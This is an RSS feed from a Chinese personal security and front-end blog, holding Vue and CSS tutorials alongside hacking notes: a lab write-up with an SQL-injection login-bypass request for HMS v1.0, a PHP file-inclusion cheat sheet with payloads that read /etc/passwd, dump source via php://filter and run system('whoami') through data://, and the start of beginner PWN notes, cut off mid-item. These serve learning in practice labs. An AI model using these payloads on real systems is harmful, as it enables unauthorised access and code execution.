<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/">
  <channel>
    <title>Lixiney's Blog</title>
    <link>https://blog.lixey.top/</link>
    <description>种一棵树最好的时间是十年前，其次是现在。</description>
    <language>en</language>
    <copyright>All rights reserved 2026, Lixiney</copyright>
    <lastBuildDate>Tue, 24 Mar 2026 06:49:00 GMT</lastBuildDate>
    <generator>Hexo</generator>
    <atom:link href="https://blog.lixey.top/rss.xml" rel="self" type="application/rss+xml"/>
    <item>
      <title>Vulfocus 靶场记录（一）</title>
      <link>https://blog.lixey.top/Vulfocus-%E9%9D%B6%E5%9C%BA%E8%AE%B0%E5%BD%95%EF%BC%88%E4%B8%80%EF%BC%89/</link>
      <description>
        <![CDATA[<h1 id="HMS-v1-0-SQL注入-CVE-2022-23366"><a href="#HMS-v1-0-SQL注入-CVE-2022-23366" class="headerlink" title="HMS v1.0 SQL注入(CVE-2022-23366)"></]]>
      </description>
      <author>Lixiney</author>
      <category domain="https://blog.lixey.top/tags/web%E5%AE%89%E5%85%A8/">web安全</category>
      <category domain="https://blog.lixey.top/tags/%E9%9D%B6%E5%9C%BA/">靶场</category>
      <pubDate>Tue, 24 Mar 2026 05:56:22 GMT</pubDate>
      <content:encoded>
        <![CDATA[<h1 id="HMS-v1-0-SQL注入-CVE-2022-23366"><a href="#HMS-v1-0-SQL注入-CVE-2022-23366" class="headerlink" title="HMS v1.0 SQL注入(CVE-2022-23366)"></a>HMS v1.0 SQL注入(CVE-2022-23366)</h1><p>注入点在登录页面</p><p>poc：</p><div class="code-wrapper"><pre><code class="hljs http"><span class="hljs-keyword">POST</span> <span class="hljs-string">/adminlogin.php</span> <span class="hljs-meta">HTTP/1.1</span><span class="hljs-attribute">Host</span><span class="hljs-punctuation">: </span>127.0.0.1:43193<span class="hljs-attribute">Content-Length</span><span class="hljs-punctuation">: </span>54<span class="hljs-attribute">Cache-Control</span><span class="hljs-punctuation">: </span>max-age=0<span class="hljs-attribute">sec-ch-ua</span><span class="hljs-punctuation">: </span>&quot;Not(A:Brand&quot;;v=&quot;8&quot;, &quot;Chromium&quot;;v=&quot;144&quot;<span class="hljs-attribute">sec-ch-ua-mobile</span><span class="hljs-punctuation">: </span>?0<span class="hljs-attribute">sec-ch-ua-platform</span><span class="hljs-punctuation">: </span>&quot;Windows&quot;<span class="hljs-attribute">Accept-Language</span><span class="hljs-punctuation">: </span>zh-CN,zh;q=0.9<span class="hljs-attribute">Origin</span><span class="hljs-punctuation">: </span>http://127.0.0.1:43193<span class="hljs-attribute">Content-Type</span><span class="hljs-punctuation">: </span>application/x-www-form-urlencoded<span class="hljs-attribute">Upgrade-Insecure-Requests</span><span class="hljs-punctuation">: </span>1<span class="hljs-attribute">User-Agent</span><span class="hljs-punctuation">: </span>Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36<span class="hljs-attribute">Accept</span><span class="hljs-punctuation">: </span>text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7<span class="hljs-attribute">Sec-Fetch-Site</span><span class="hljs-punctuation">: </span>same-origin<span class="hljs-attribute">Sec-Fetch-Mode</span><span class="hljs-punctuation">: </span>navigate<span class="hljs-attribute">Sec-Fetch-User</span><span class="hljs-punctuation">: </span>?1<span class="hljs-attribute">Sec-Fetch-Dest</span><span class="hljs-punctuation">: </span>document<span class="hljs-attribute">Referer</span><span class="hljs-punctuation">: </span>http://127.0.0.1:43193/adminlogin.php<span class="hljs-attribute">Accept-Encoding</span><span class="hljs-punctuation">: </span>gzip, deflate, br<span class="hljs-attribute">Cookie</span><span class="hljs-punctuation">: </span>PHPSESSID=n30rtma1gnnk63cb900vd524n7; _ga=GA1.1.1607377646.1774331048; _gid=GA1.1.857868182.1774331048; _gat=1; _ga_J1DQF09WZC=GS2.1.s1774331469$o1$g0$t1774331469$j60$l0$h0<span class="hljs-attribute">Connection</span><span class="hljs-punctuation">: </span>keep-alive<span class="language-routeros"><span class="hljs-attribute">loginid</span>=admin&#x27; <span class="hljs-keyword">or</span> <span class="hljs-attribute">1</span>=1 #&amp;<span class="hljs-attribute">password</span>=12345678&amp;submit=Login</span></code></pre></div>]]>
      </content:encoded>
    </item>
    <item>
      <title>前端开发--VUE</title>
      <link>https://blog.lixey.top/%E5%89%8D%E7%AB%AF%E5%BC%80%E5%8F%91-VUE/</link>
      <description>
        <![CDATA[<h1 id="vue-安装"><a href="#vue-安装" class="headerlink" title="vue 安装"></a>vue 安装</h1><ol>
<li><p>使用 webpack</p>
<div class="code-wrapper"><pre]]>
      </description>
      <author>Lixiney</author>
      <category domain="https://blog.lixey.top/categories/%E5%BC%80%E5%8F%91/">开发</category>
      <category domain="https://blog.lixey.top/tags/vue/">vue</category>
      <pubDate>Fri, 09 Jan 2026 14:44:11 GMT</pubDate>
      <content:encoded>
        <![CDATA[<h1 id="vue-安装"><a href="#vue-安装" class="headerlink" title="vue 安装"></a>vue 安装</h1><ol><li><p>使用 webpack</p><div class="code-wrapper"><pre><code class="hljs bash">npm install -g @vue/clivue create vue-projectnpm run serve</code></pre></div></li><li><p>使用 vite</p><div class="code-wrapper"><pre><code class="hljs bash">npm create vue@leatestnpm inpm run dev</code></pre></div></li></ol><h1 id="基础语法"><a href="#基础语法" class="headerlink" title="基础语法"></a>基础语法</h1><p>创建vue实例</p><div class="code-wrapper"><pre><code class="hljs vue">import &#123;createApp&#125; from &quot;vue&quot;import App from &quot;./App.vue&quot;createApp(App).mount(&quot;#app&quot;)&lt;template&gt;    &lt;div class=&quot;main&quot;&gt;        &lt;p&gt;&#123;&#123; msg &#125;&#125;&lt;/p&gt;    &lt;/div&gt;&lt;/template&gt;&lt;script lang=&quot;ts&quot;&gt;export default &#123;    data()&#123;        return &#123;            msg: &quot;Hello world&quot;        &#125;    &#125;&#125;&lt;/script&gt;&lt;style&gt;.main&#123;    background-color: #ddd;&#125;&lt;/style&gt;</code></pre></div><h2 id="模板语法"><a href="#模板语法" class="headerlink" title="模板语法"></a>模板语法</h2><ol><li><p>插值</p><blockquote><p>vue 使用 <code>&#123;&#123; &#125;&#125;</code> 来表示文本插值</p></blockquote></li></ol><div class="code-wrapper"><pre><code class="hljs vue">&lt;p&gt;&#123;&#123; message &#125;&#125;&lt;/p&gt;</code></pre></div><ol><li><p>指令</p><blockquote><p>指令是带有 <code>v-</code> 前缀，用于在模板种表达逻辑</p></blockquote></li></ol><p>v-html 解析html代码</p><div class="code-wrapper"><pre><code class="hljs vue">&lt;p v-html=&quot;text&quot;&gt;&lt;/p&gt;</code></pre></div><p>v-bind 动态绑定一个或多个属性</p><div class="code-wrapper"><pre><code class="hljs vue">&lt;a v-bind:href=&quot;url&quot;&gt;点击&lt;/a&gt;</code></pre></div><p>简写：</p><div class="code-wrapper"><pre><code class="hljs vue">&lt;a :href=&quot;url&quot;&gt;点击&lt;/a&gt;</code></pre></div><h2 id="条件渲染"><a href="#条件渲染" class="headerlink" title="条件渲染"></a>条件渲染</h2><div class="code-wrapper"><pre><code class="hljs vue">v-ifv-else-ifv-elsev-show</code></pre></div><ul><li>v-if 与 v-show 的区别</li></ul><blockquote><p>v-if 是真正的条件渲染，因为他会确保在切换过程中条件快内的事件监听器和子组件适当地被销毁和重建</p><p>v-if 也是惰性的：如果在初始渲染条件为假，则什么也不做–直到条件第一次变为真时，才会开始渲染条件块</p><p>相比之下，v-show 就简单很多–不管初始条件是什么，元素块总是会被渲染，并且只是简单地基于css进行切换。</p><p>一般来说，v-if 有更高的切换开销，而 v-show 有更高的初始渲染开销，因此，如果又需要非常频繁地切换，则使用 v-show 较好；如果在运行时条件很少改变，则使用 v-if 较好。</p></blockquote><p>使用template标签</p><div class="code-wrapper"><pre><code class="hljs vue">&lt;template&gt;    &lt;div class=&quot;main&quot;&gt;        &lt;p v-if=&quot;flag&quot;&gt;test&lt;/p&gt;        &lt;template v-if=&quot;flag&quot;&gt;            &lt;p&gt;1&lt;/p&gt;            &lt;p&gt;2&lt;/p&gt;            &lt;p&gt;3&lt;/p&gt;&lt;/template&gt;    &lt;/div&gt;&lt;/template&gt;&lt;script lang=&quot;ts&quot;&gt;export default &#123;    data()&#123;        return &#123;            msg: &quot;Hello world&quot;        &#125;    &#125;&#125;&lt;/script&gt;&lt;style&gt;.main&#123;    background-color: #ddd;&#125;&lt;/style&gt;</code></pre></div><h2 id="列表渲染"><a href="#列表渲染" class="headerlink" title="列表渲染"></a>列表渲染</h2><p>使用 <code>v-for</code></p><div class="code-wrapper"><pre><code class="hljs vue">&lt;template&gt;&lt;ul v-for=&quot;item in items&quot; :key=&quot;item.id&quot;&gt;    &lt;li&gt;&#123;&#123; item.name &#125;&#125;&lt;/li&gt;&lt;/ul&gt;&lt;/template&gt;&lt;script&gt;export default&#123;    data()&#123;        return&#123;            items:[                &#123;                    id:1001,                    name: &quot;Lixiney&quot;                &#125;,                &#123;                    id:1002,                    name: &quot;nomo&quot;                &#125;,                &#123;                    id:1001,                    name: &quot;yout&quot;                &#125;            ]        &#125;    &#125;&#125;&lt;/script&gt;</code></pre></div><p>如果 <code>items</code> 数据中没有索引，可以使用 <code>index</code></p><div class="code-wrapper"><pre><code class="hljs vue">v-for=&quot;(item,index) in items&quot; :key=&quot;item.index&quot;</code></pre></div><h2 id="事件处理"><a href="#事件处理" class="headerlink" title="事件处理"></a>事件处理</h2><blockquote><p>v-on 可以简写为 @</p></blockquote><p>eg：</p><div class="code-wrapper"><pre><code class="hljs vue">&lt;template&gt;&lt;button v-on:click=&quot;clickHandle&quot;&gt;按钮&lt;/button&gt;&lt;!-- &lt;button @click=&quot;clickHandle&quot;&gt;按钮&lt;/button&gt; --&gt;&lt;p v-show=&quot;flag&quot;&gt;Hello&lt;/p&gt;&lt;/template&gt;&lt;script&gt;export default&#123;    data()&#123;        return&#123;            flag: true        &#125;    &#125;,    methods:&#123;        clickHandle()&#123;            this.flag = !this.flag        &#125;    &#125;&#125;&lt;/script&gt;</code></pre></div><h3 id="事件传参"><a href="#事件传参" class="headerlink" title="事件传参"></a>事件传参</h3><div class="code-wrapper"><pre><code class="hljs vue">&lt;template&gt;&lt;ul v-for=&quot;item in items&quot; :key=&quot;item.id&quot;&gt;    &lt;li @click=&quot;clickMessageHandle(item.name,$event)&quot;&gt;&#123;&#123; item.name &#125;&#125;&lt;/li&gt;&lt;/ul&gt;&lt;button v-on:click=&quot;func&quot;&gt;按钮&lt;/button&gt;&lt;!-- &lt;p v-show=&quot;flag&quot;&gt;Hello&lt;/p&gt; --&gt;&lt;/template&gt;&lt;script&gt;export default&#123;    data()&#123;        return&#123;            items:[                &#123;                    id:1001,                    name: &quot;Lixiney&quot;                &#125;,                &#123;                    id:1002,                    name: &quot;nomo&quot;                &#125;,                &#123;                    id:1001,                    name: &quot;yout&quot;                &#125;            ],            flag: true        &#125;    &#125;,    methods:&#123;        func()&#123;            this.flag = !this.flag        &#125;,        clickMessageHandle(data,e)&#123;            console.log(data,e)   // 如果没有传参则event可以使用        &#125;    &#125;&#125;&lt;/script&gt;</code></pre></div><h2 id="事件修饰符"><a href="#事件修饰符" class="headerlink" title="事件修饰符"></a>事件修饰符</h2>]]>
      </content:encoded>
    </item>
    <item>
      <title>前端开发--CSS层叠样式表</title>
      <link>https://blog.lixey.top/%E5%89%8D%E7%AB%AF%E5%BC%80%E5%8F%91-CSS%E5%B1%82%E5%8F%A0%E6%A0%B7%E5%BC%8F%E8%A1%A8/</link>
      <description>
        <![CDATA[<h1 id="字体属性"><a href="#字体属性" class="headerlink" title="字体属性"></a>字体属性</h1><blockquote>
<p>CSS 字体属性定义字体，加粗，大小，文字样式</p>
</blockquote>
<ul>
<l]]>
      </description>
      <author>Lixiney</author>
      <category domain="https://blog.lixey.top/categories/%E5%BC%80%E5%8F%91/">开发</category>
      <category domain="https://blog.lixey.top/tags/%E5%89%8D%E7%AB%AF/">前端</category>
      <pubDate>Fri, 09 Jan 2026 14:41:41 GMT</pubDate>
      <content:encoded>
        <![CDATA[<h1 id="字体属性"><a href="#字体属性" class="headerlink" title="字体属性"></a>字体属性</h1><blockquote><p>CSS 字体属性定义字体，加粗，大小，文字样式</p></blockquote><ul><li>color 规定文本的颜色</li><li>font-size 设置文本的大小 # chrome浏览器接受的最小字体是12px</li><li>font-weight 设置文本的粗细</li></ul><table><thead><tr><th>值</th><th>描述</th></tr></thead><tbody><tr><td>blod</td><td>定义粗体字体</td></tr><tr><td>bolder</td><td>定义更粗的字体</td></tr><tr><td>lighter</td><td>定义更细的字体</td></tr><tr><td>100-900</td><td>由细到粗，400等同默认， 700等同bold</td></tr></tbody></table><ul><li>font-style 指定文本的字体样式</li></ul><table><thead><tr><th>值</th><th>描述</th></tr></thead><tbody><tr><td>normal</td><td>默认值</td></tr><tr><td>italic</td><td>定义斜体字</td></tr></tbody></table><ul><li>font-family 指定一个元素的字体</li></ul><blockquote><p>每个值用都好分开</p><p>如果字体名称包含空格，必须加上引号</p></blockquote><h1 id="背景属性"><a href="#背景属性" class="headerlink" title="背景属性"></a>背景属性</h1><table><thead><tr><th>属性</th><th>描述</th></tr></thead><tbody><tr><td>background-color</td><td>设置背景颜色</td></tr><tr><td>background-image</td><td>设置背景图片</td></tr><tr><td>background-attachment</td><td>设置背景图片是否随着内容滚动还是固定</td></tr><tr><td>background-position</td><td>设置背景图片显示位置</td></tr><tr><td>background-repeat</td><td>设置背景图片如何填充</td></tr><tr><td>background</td><td>复合属性</td></tr></tbody></table><ul><li>background-image 属性</li></ul><blockquote><p>元素的背景是元素的总大小，包括填充和边界（不包括外边距）。</p><p>默认情况下 background-image 属性放置在元素的左上角，如果图像不够大的话会在垂直和水平方向平铺图像，如果图像大小超过元素大小从图像的左上角显示元素大小的部分</p></blockquote><ul><li>background-repeat 属性</li></ul><table><thead><tr><th>值</th><th>说明</th></tr></thead><tbody><tr><td>repeat</td><td>默认值</td></tr><tr><td>repeat-x</td><td>只向水平方向平铺</td></tr><tr><td>repeat-y</td><td>只向垂直方向平铺</td></tr><tr><td>no-repeat</td><td>不平铺</td></tr></tbody></table><ul><li>background-size 属性</li></ul><blockquote><p>设置背景图像的大小</p></blockquote><table><thead><tr><th>值</th><th>说明</th></tr></thead><tbody><tr><td>length</td><td>设置背景图片的宽度和高度，第一个值宽度，第二个值高度，如果只是设置一个，第二个值auto</td></tr><tr><td>percentage</td><td>计算相对位置区域的百分比，第一个值宽度，第二个值高度，如果只是设置一个，第二个值auto</td></tr><tr><td>cover</td><td>保持图片纵横比并将图片缩放成完全覆盖背景区域的最小大小</td></tr><tr><td>contain</td><td>保持图片纵横比并将图像缩放成适合背景定位区域的最大大小</td></tr></tbody></table><ul><li>background-position 属性</li></ul><blockquote><p>该属性设置背景图像的其实位置，其默认值是 0% 0%</p></blockquote><p>上下左右中， top bottom left right center</p><p>x y 单位可以是% 也可以是 px</p><ul><li>background-attachment 属性</li></ul><blockquote><p>该属性设置背景图像是否固定或者随页面滚动。简单来说就是一个页面有滚动条的话，滑动滚动条背景是固定的还是随着页面滚动</p></blockquote><table><thead><tr><th>值</th><th>说明</th></tr></thead><tbody><tr><td>scroll</td><td>背景图片随着页面滚动而滚动</td></tr><tr><td>fixed</td><td>背景图片固定</td></tr></tbody></table><h1 id="文本属性"><a href="#文本属性" class="headerlink" title="文本属性"></a>文本属性</h1><ul><li>text-align</li></ul><blockquote><p>指定元素文本的水平对齐方式</p></blockquote><table><thead><tr><th>值</th><th>描述</th></tr></thead><tbody><tr><td>left</td><td>文本居左排列，默认值</td></tr><tr><td>right</td><td>右对齐</td></tr><tr><td>center</td><td>居中对齐</td></tr></tbody></table><ul><li>text-decoration</li></ul><blockquote><p>规定添加到文本的修饰，下划线、上划线、删除线等</p></blockquote><table><thead><tr><th>值</th><th>描述</th></tr></thead><tbody><tr><td>underline</td><td>下划线</td></tr><tr><td>overline</td><td>上划线</td></tr><tr><td>line-through</td><td>删除线</td></tr></tbody></table><ul><li>text-transform</li></ul><blockquote><p>控制文本的大小写</p></blockquote><table><thead><tr><th>值</th><th>描述</th></tr></thead><tbody><tr><td>captialize</td><td>每个单词开头大写</td></tr><tr><td>uppercase</td><td>字母全部大写</td></tr><tr><td>lowercase</td><td>字母全部小写</td></tr></tbody></table><ul><li>text-indent</li></ul><blockquote><p>规定文本块中首行文本的缩进</p></blockquote><blockquote><p>负值是允许的，如果值是复数，将第一行左缩进</p></blockquote><h1 id="列表属性"><a href="#列表属性" class="headerlink" title="列表属性"></a>列表属性</h1><blockquote><p>在 HTML 中有两种类型的列表</p><p>有序列表 - 列表项标记有数字或者字母</p><p>无序列表 - 列表项标记用特殊的图形 如 小黑点小方块等</p></blockquote><ul><li>list-style-type</li></ul><blockquote><p>设置列表项标记的类型</p></blockquote><table><thead><tr><th>值</th><th>描述</th></tr></thead><tbody><tr><td>none</td><td>无标记</td></tr><tr><td>disc</td><td>实心圆</td></tr><tr><td>circle</td><td>空心圆</td></tr><tr><td>square</td><td>实心方块</td></tr><tr><td>decimal</td><td>数字</td></tr></tbody></table><ul><li>list-style-image</li></ul><blockquote><p>使用图像来替换列表项的标记</p></blockquote><ul><li>list-style-position</li></ul><blockquote><p>知识如何相对于对象的内容绘制列表</p></blockquote><table><thead><tr><th>值</th><th>描述</th></tr></thead><tbody><tr><td>inside</td><td>列表项标记放置在文本内</td></tr><tr><td>outside</td><td>列表项标记防止在文本外</td></tr></tbody></table><ul><li>list-style</li></ul><blockquote><p>简写属性在一个生命中设置所有的列表属性</p><p>可以设置的属性（按顺序）：</p><p>list-style-type, list-style-position,list-style-image</p></blockquote><h1 id="表格属性"><a href="#表格属性" class="headerlink" title="表格属性"></a>表格属性</h1><ul><li>border</li></ul><blockquote><p>表格边框</p></blockquote><ul><li>border-collapse</li></ul><blockquote><p>设置表格的边框是否被折叠成一个单一的边框或隔开</p></blockquote><ul><li>width 和 height</li></ul><blockquote><p>定义表格的宽度和高度</p></blockquote><ul><li>text-align</li></ul><blockquote><p>设置水平对齐方式，向左，右，或者中心</p></blockquote><ul><li>vertical-align</li></ul><blockquote><p>垂直对齐</p></blockquote><p>如果在表的内容中控制空格之间的边框，应该使用td 和 th 元素的填充属性</p><h1 id="其他属性"><a href="#其他属性" class="headerlink" title="其他属性"></a>其他属性</h1><ul><li>letter-spacing</li></ul><blockquote><p>调整字符间距</p></blockquote><ul><li>line-height</li></ul><blockquote><p>设置行高</p></blockquote><ul><li>overflow</li></ul><table><thead><tr><th>值</th><th>描述</th></tr></thead><tbody><tr><td>visible</td><td>默认值</td></tr><tr><td>hidden</td><td>超出容器内容被修剪</td></tr><tr><td>scroll</td><td>内容会被修剪，但是可以滚动查看剩余内容</td></tr><tr><td>auto</td><td>如果内容被修剪，可以滚动查看剩余内容</td></tr></tbody></table><ul><li>white-space</li></ul><blockquote><p>指定元素内的空白怎么处理</p></blockquote><table><thead><tr><th>值</th><th>描述</th></tr></thead><tbody><tr><td>pre</td><td>空白会被浏览器保存</td></tr><tr><td>nowrap</td><td>文本不会换行</td></tr></tbody></table><ul><li>verticle-align</li></ul><blockquote><p>设置一个元素的垂直对齐方式</p><p>该属性定义行内元素的基线相对于该元素所在行的基线的垂直对齐</p></blockquote><table><thead><tr><th>值</th><th>描述</th></tr></thead><tbody><tr><td>text-top</td><td>把元素的顶端与父元素字体的顶端对齐</td></tr><tr><td>middle</td><td>把此元素放置在父元素的中部</td></tr><tr><td>text-bottom</td><td>把此元素底端与父元素字体的底端对齐</td></tr></tbody></table><ul><li>opacity</li></ul><blockquote><p>设置整个元素的透明度，取值 0-1 </p><p>0 表示完全透明，1 表示不透明</p></blockquote>]]>
      </content:encoded>
    </item>
    <item>
      <title>PHP文件包含-伪协议</title>
      <link>https://blog.lixey.top/PHP%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB-%E4%BC%AA%E5%8D%8F%E8%AE%AE/</link>
      <description>
        <![CDATA[<table>
<thead>
<tr>
<th>伪协议</th>
<th>含义</th>
</tr>
</thead>
<tbody><tr>
<td>file:&#x2F;&#x2F;</td>
<td>访问本地文件系统</td>
</tr>
<tr>
<td>php:&#x]]>
      </description>
      <author>Lixiney</author>
      <category domain="https://blog.lixey.top/tags/web%E5%AE%89%E5%85%A8/">web安全</category>
      <pubDate>Thu, 13 Nov 2025 14:36:28 GMT</pubDate>
      <content:encoded>
        <![CDATA[<table><thead><tr><th>伪协议</th><th>含义</th></tr></thead><tbody><tr><td>file:&#x2F;&#x2F;</td><td>访问本地文件系统</td></tr><tr><td>php:&#x2F;&#x2F;</td><td>访问各个输入&#x2F;输出流（I&#x2F;O streams）</td></tr><tr><td>zlib:&#x2F;&#x2F;</td><td>压缩流</td></tr><tr><td>data:&#x2F;&#x2F;</td><td>数据流</td></tr><tr><td>glob:&#x2F;&#x2F;</td><td>查找匹配的文件路径模式</td></tr><tr><td>phar:&#x2F;&#x2F;</td><td>php 归档</td></tr><tr><td>ssh2:&#x2F;&#x2F;</td><td>Secure Shell 2</td></tr><tr><td>rar:&#x2F;&#x2F;</td><td>RAR</td></tr><tr><td>ogg:&#x2F;&#x2F;</td><td>音频流</td></tr></tbody></table><h1 id="php-ini-参数"><a href="#php-ini-参数" class="headerlink" title="php.ini 参数"></a>php.ini 参数</h1><ul><li>allow_url_fopen    默认为 On 允许url里封装协议访问文件</li><li>allow_url_include    默认为 Off   不允许包含url 里的封装协议包含文件</li></ul><h1 id="各种伪协议的利用方法"><a href="#各种伪协议的利用方法" class="headerlink" title="各种伪协议的利用方法"></a>各种伪协议的利用方法</h1><ul><li>file:&#x2F;&#x2F; 协议</li></ul><div class="code-wrapper"><pre><code class="hljs awk">file:<span class="hljs-regexp">//</span><span class="hljs-regexp">/etc/</span>passwd</code></pre></div><ul><li>php:&#x2F;&#x2F;filter</li></ul><div class="code-wrapper"><pre><code class="hljs livecodeserver">php://<span class="hljs-built_in">filter</span>/<span class="hljs-built_in">read</span>=<span class="hljs-built_in">convert</span>.base64-encode/resource=index.php</code></pre></div><ul><li>php:&#x2F;&#x2F;data   【allow_url_include 设置为 On】</li></ul><p><img src="/./PHP%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB-%E4%BC%AA%E5%8D%8F%E8%AE%AE/image-20251113224557980.png" alt="image-20251113224557980"></p><ul><li>zip:&#x2F;&#x2F; 协议</li></ul><div class="code-wrapper"><pre><code class="hljs dts"><span class="hljs-symbol">zip:</span><span class="hljs-comment">//test.zip%23phpinfo.txt</span></code></pre></div><p><img src="/./PHP%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB-%E4%BC%AA%E5%8D%8F%E8%AE%AE/image-20251113225021349.png" alt="image-20251113225021349"></p><p><img src="/./PHP%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB-%E4%BC%AA%E5%8D%8F%E8%AE%AE/image-20251113225132654.png" alt="image-20251113225132654"></p><ul><li>data:&#x2F;&#x2F;   【allow_url_iclude 设置为 On】</li></ul><div class="code-wrapper"><pre><code class="hljs php-template"><span class="language-xml">data://text/plain,</span><span class="language-php"><span class="hljs-meta">&lt;?php</span> <span class="hljs-title function_ invoke__">phpinfo</span>();<span class="hljs-meta">?&gt;</span></span></code></pre></div><div class="code-wrapper"><pre><code class="hljs php">data:text/plain,<span class="hljs-meta">&lt;?php</span> <span class="hljs-title function_ invoke__">phpinfo</span>();<span class="hljs-meta">?&gt;</span></code></pre></div><div class="code-wrapper"><pre><code class="hljs awk">data:<span class="hljs-regexp">//</span>text<span class="hljs-regexp">/plain;base64,PD9waHAgc3lzdGVtKCd3aG9hbWknKTs/</span>Pg==</code></pre></div><h2 id="php-filter-其他过滤器"><a href="#php-filter-其他过滤器" class="headerlink" title="php:&#x2F;&#x2F;filter  其他过滤器"></a>php:&#x2F;&#x2F;filter  其他过滤器</h2><table><thead><tr><th>过滤器</th><th>作用</th></tr></thead><tbody><tr><td>string.rot13</td><td>rot13编码</td></tr><tr><td>string.toupper</td><td>转大写字母</td></tr><tr><td>string.tolower</td><td>转小写字母</td></tr><tr><td>string.strip_tags</td><td>去除html标签</td></tr></tbody></table><p>例子 ： </p><p><code>php://filter/read=string.rot13/resource=index.php</code></p>]]>
      </content:encoded>
    </item>
    <item>
      <title>PWN 入门基础笔记</title>
      <link>https://blog.lixey.top/PWN-%E5%85%A5%E9%97%A8%E5%9F%BA%E7%A1%80%E7%AC%94%E8%AE%B0/</link>
      <description>
        <![CDATA[<h1 id="环境配置"><a href="#环境配置" class="headerlink" title="环境配置"></a>环境配置</h1><ul>
<li>Python3</li>
<li>pip</li>
<li>gdb-pwndbg 插件</li>
<li>pwn]]>
      </description>
      <author>Lixiney</author>
      <category domain="https://blog.lixey.top/tags/PWN/">PWN</category>
      <pubDate>Sun, 05 Oct 2025 08:22:17 GMT</pubDate>
      <content:encoded>
        <![CDATA[<h1 id="环境配置"><a href="#环境配置" class="headerlink" title="环境配置"></a>环境配置</h1><ul><li>Python3</li><li>pip</li><li>gdb-pwndbg 插件</li><li>pwntools</li><li>IDA</li><li>checksec</li></ul><h2 id="checksec-安装以及基本环境"><a href="#checksec-安装以及基本环境" class="headerlink" title="checksec 安装以及基本环境"></a>checksec 安装以及基本环境</h2><blockquote><p>使用 apt 安装的最新版的用不习惯，如果安装了pwntools，里面会自带checksec工具</p></blockquote><div class="code-wrapper"><pre><code class="hljs bash"><span class="hljs-built_in">sudo</span> apt install checksec</code></pre></div><h3 id="用法"><a href="#用法" class="headerlink" title="用法"></a>用法</h3><p><img src="/./PWN-%E5%85%A5%E9%97%A8%E5%9F%BA%E7%A1%80%E7%AC%94%E8%AE%B0/image-20251005163822224.png" alt="image-20251005163822224"></p><ul><li>Arch</li></ul><p>程序架构信息，判断该程序是32位还是64位程序，编写exp时选择 p32() 还是 p64()</p><ul><li>RELRO</li></ul><p>Relocation Read-Only (RELRO) 此项技术主要针对 GOT 改写的攻击方式。它分为两种，Partial RELRO 和 Full RELRO。</p><ul><li>Stack</li></ul><p>栈溢出保护，如果看到这个选项没有开启则可以尝试栈溢出攻击</p><ul><li>NX</li></ul><p>NX enabled如果这个保护开启就是意味着栈中数据没有执行权限，如此一来, 当攻击者在堆栈上部署自己的 shellcode 并触发时, 只会直接造成程序的崩溃，但是可以利用rop这种方法绕过</p><ul><li>PIE</li></ul><p>无关而执行文件，该技术是针对代码段落（.text），数据段（.data），未初始化全局变量段（bss）等固定地址的一个防护技术，如果程序开启了PIE保护的话，在每次加载程序时都变换加载地址，不能通过ROPgadget等工具来解题</p><h2 id="pwntools-安装以及基本用法"><a href="#pwntools-安装以及基本用法" class="headerlink" title="pwntools 安装以及基本用法"></a>pwntools 安装以及基本用法</h2><ul><li>使用 pip 安装 (win)</li></ul><div class="code-wrapper"><pre><code class="hljs bash">pip install pwntools</code></pre></div><ul><li>使用 apt 安装 (Linux)</li></ul><div class="code-wrapper"><pre><code class="hljs bash"><span class="hljs-built_in">sudo</span> apt install python3-pwntools</code></pre></div><h3 id="用法-1"><a href="#用法-1" class="headerlink" title="用法"></a>用法</h3><ol><li>导入模块</li></ol><div class="code-wrapper"><pre><code class="hljs python"><span class="hljs-keyword">from</span> pwn <span class="hljs-keyword">import</span> *</code></pre></div><ol start="2"><li>打开链接</li></ol><div class="code-wrapper"><pre><code class="hljs python"><span class="hljs-comment"># 本地连接</span>io = process(<span class="hljs-string">&quot;文件&quot;</span>)<span class="hljs-comment"># 远程连接</span>io = remote(<span class="hljs-string">&quot;[ip]&quot;</span>,[端口])</code></pre></div><ol start="3"><li>从服务器接收数据</li></ol><div class="code-wrapper"><pre><code class="hljs python"><span class="hljs-comment">#接收一行数据</span>io.revcline()<span class="hljs-comment"># 全部接收</span>io.recv()<span class="hljs-comment"># 在读到 test 之前一直读入数据</span>io.recvuntil(<span class="hljs-string">&#x27;test&#x27;</span>)<span class="hljs-comment"># 读入 10 位数据</span>io.recv(<span class="hljs-number">10</span>)</code></pre></div><ol start="4"><li>向服务器发送数据</li></ol><div class="code-wrapper"><pre><code class="hljs python"><span class="hljs-comment"># 发送一行数据</span>io.sendline()<span class="hljs-comment"># 如果是32位程序则需要把数据打包成32比特宽度的字节流的形式</span>io.sendline(p32(<span class="hljs-string">&#x27;&#x27;</span>))<span class="hljs-comment"># 如果是64位程序</span>io.sendline(p64(<span class="hljs-string">&#x27;&#x27;</span>))</code></pre></div><ol start="5"><li>进入交互模式</li></ol><div class="code-wrapper"><pre><code class="hljs python">io.interactive()</code></pre></div><h1 id="栈溢出-（Stack-Overflow）"><a href="#栈溢出-（Stack-Overflow）" class="headerlink" title="栈溢出 （Stack Overflow）"></a>栈溢出 （Stack Overflow）</h1><blockquote><p>一种后进先出的数据结构</p></blockquote><p><img src="/./PWN-%E5%85%A5%E9%97%A8%E5%9F%BA%E7%A1%80%E7%AC%94%E8%AE%B0/image-20251008093049662.png" alt="image-20251008093049662"></p><p>栈是计算机内存中的一块特殊区域，用于存储<a href="https://so.csdn.net/so/search?q=%E5%87%BD%E6%95%B0%E8%B0%83%E7%94%A8&spm=1001.2101.3001.7020">函数调用</a>时的局部变量、函数参数、返回地址等信息。栈遵循后进先出（LIFO）的原则，即最后进入栈的数据最先被取出。</p><p>栈是从高地址向低地址延伸的。每个函数的每次调用，都有它自己独立的一个栈帧，这个栈帧中维持着所需要的各种信息。寄存器ebp指向当前的栈帧的底部（高地址），寄存器esp指向当前的栈帧的顶部（低地址）</p><h2 id="原理"><a href="#原理" class="headerlink" 